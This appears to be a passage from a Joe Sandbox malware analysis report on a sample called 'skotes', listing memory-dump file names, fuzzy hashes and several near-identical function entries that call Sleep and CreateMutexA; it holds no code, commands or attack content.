Associated: 00000002.00000002.1896140163.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896161004.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896186635.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896215503.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896240956.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896262835.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896291081.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896313520.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896333227.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896353590.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896375617.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896395886.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896424098.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896444705.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896465526.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896556065.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896579612.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896607666.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896643886.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896666023.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896689770.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896710637.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ba38ed0e9502fa7db68a7b1e080fb74c7154bf17b1b67f9087cd27166f681810
Instruction ID: af8198b2e5ac2f7de9ec96017b223604c9ccdde5d29e2622302bc4ffcfe98288
Opcode Fuzzy Hash: ba38ed0e9502fa7db68a7b1e080fb74c7154bf17b1b67f9087cd27166f681810
Instruction Fuzzy Hash: 633146317003049BEB1CDB78DC99BADB772DF96314F648218E0A59B3D5CBB69980C652

Function 0010A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0010A963
CreateMutexA.KERNELBASE(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000002.00000002.1895195724.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895228670.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895317738.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895336761.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895363503.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895479726.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895523917.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895548368.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895572975.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895639477.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895664885.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895721340.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895741280.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895764649.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895818777.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895845111.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895926319.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895953941.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895987551.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896023298.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896091921.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896118794.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896140163.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896161004.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896186635.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896215503.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896240956.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896262835.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896291081.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896313520.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896333227.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896353590.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896375617.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896395886.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896424098.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896444705.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896465526.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896556065.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896579612.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896607666.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896643886.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896666023.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896689770.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896710637.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6e0b70a8af617a4286a03c533b0859236fd229273b51b6e0edb4195fd8feea93
Instruction ID: 2ddc285662855fdaff41a9bbe00392edfd3d14842668045096bcc698e317d4d1
Opcode Fuzzy Hash: 6e0b70a8af617a4286a03c533b0859236fd229273b51b6e0edb4195fd8feea93
Instruction Fuzzy Hash: CE3128317003449FEB1CDB68DC99BADB772AF96314F648228E054973D1CBB659808652

Function 0010A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0010A963
CreateMutexA.KERNELBASE(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000002.00000002.1895195724.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895228670.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895317738.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895336761.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895363503.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895479726.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895523917.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895548368.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895572975.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895639477.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895664885.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895721340.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895741280.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895764649.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895818777.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895845111.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895926319.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895953941.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895987551.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896023298.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896091921.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896118794.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896140163.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896161004.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896186635.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896215503.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896240956.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896262835.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896291081.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896313520.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896333227.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896353590.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896375617.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896395886.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896424098.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896444705.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896465526.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896556065.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896579612.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896607666.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896643886.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896666023.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896689770.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896710637.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 1827fa6d1e73aba80a12b24199b464d22b8b6c0e3695759a3cc46414ba163a8e
Instruction ID: ff2fc6d5e7331751a210889ec045483c74e5ef0bf1d22beca592670f43df3df2
Opcode Fuzzy Hash: 1827fa6d1e73aba80a12b24199b464d22b8b6c0e3695759a3cc46414ba163a8e
Instruction Fuzzy Hash: 03310731B003009BEB1CDBB8DC99BADB672EF95324F688218E095DB3D5DBF559808652

Function 0010A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0010A963
CreateMutexA.KERNELBASE(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000002.00000002.1895195724.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895228670.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895317738.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895336761.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895363503.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895479726.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895523917.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895548368.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895572975.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895639477.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895664885.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895721340.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895741280.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895764649.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895818777.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895845111.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895926319.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895953941.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895987551.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896023298.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896091921.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896118794.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896140163.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896161004.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896186635.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896215503.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896240956.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896262835.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896291081.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896313520.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896333227.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896353590.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896375617.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896395886.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896424098.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896444705.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896465526.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896556065.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896579612.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896607666.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896643886.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896666023.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896689770.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896710637.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 12f5e78cf1eb38be231c03ab569aeef0c094f8c845b5928d1f1d7fd3c71484b6
Instruction ID: 1602f8cbf65e660b766ecabe4a5793968ec268dfc60aa9cf6e6b68ee02d6d33b
Opcode Fuzzy Hash: 12f5e78cf1eb38be231c03ab569aeef0c094f8c845b5928d1f1d7fd3c71484b6
Instruction Fuzzy Hash: A0314A317003009BEB1CDB78DC99BACB772EF86328F648218E0959B3D1CBB59981C752

Function 0010A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0010A963
CreateMutexA.KERNELBASE(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000002.00000002.1895195724.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895228670.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895317738.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895336761.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895363503.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895479726.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895523917.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895548368.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895572975.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895639477.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895664885.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895721340.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895741280.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895764649.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895818777.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895845111.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895926319.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895953941.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895987551.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896023298.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896091921.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896118794.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896140163.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896161004.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896186635.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896215503.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896240956.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896262835.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896291081.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896313520.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896333227.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896353590.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896375617.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896395886.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896424098.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896444705.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896465526.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896556065.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896579612.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896607666.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896643886.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896666023.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896689770.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896710637.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0ed01d40c9c8f18959b78c1c331c5e021cf5ca925942c87b9eed9f3481dbcaf2
Instruction ID: 430815a5f923c51f117b438029a9bfbcaf6bb447618544f46f79fad48317a2c8
Opcode Fuzzy Hash: 0ed01d40c9c8f18959b78c1c331c5e021cf5ca925942c87b9eed9f3481dbcaf2
Instruction Fuzzy Hash: DC3146317003049BEB1CDB78DC99BADB772EF86324F648218E0959B3D1CBB69980C652

Function 00109ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0010A963
CreateMutexA.KERNELBASE(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000002.00000002.1895195724.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895228670.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895317738.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895336761.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895363503.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895479726.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895523917.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895548368.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895572975.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895639477.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895664885.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895721340.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895741280.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895764649.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895818777.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895845111.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895926319.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895953941.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895987551.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896023298.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896091921.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896118794.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896140163.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
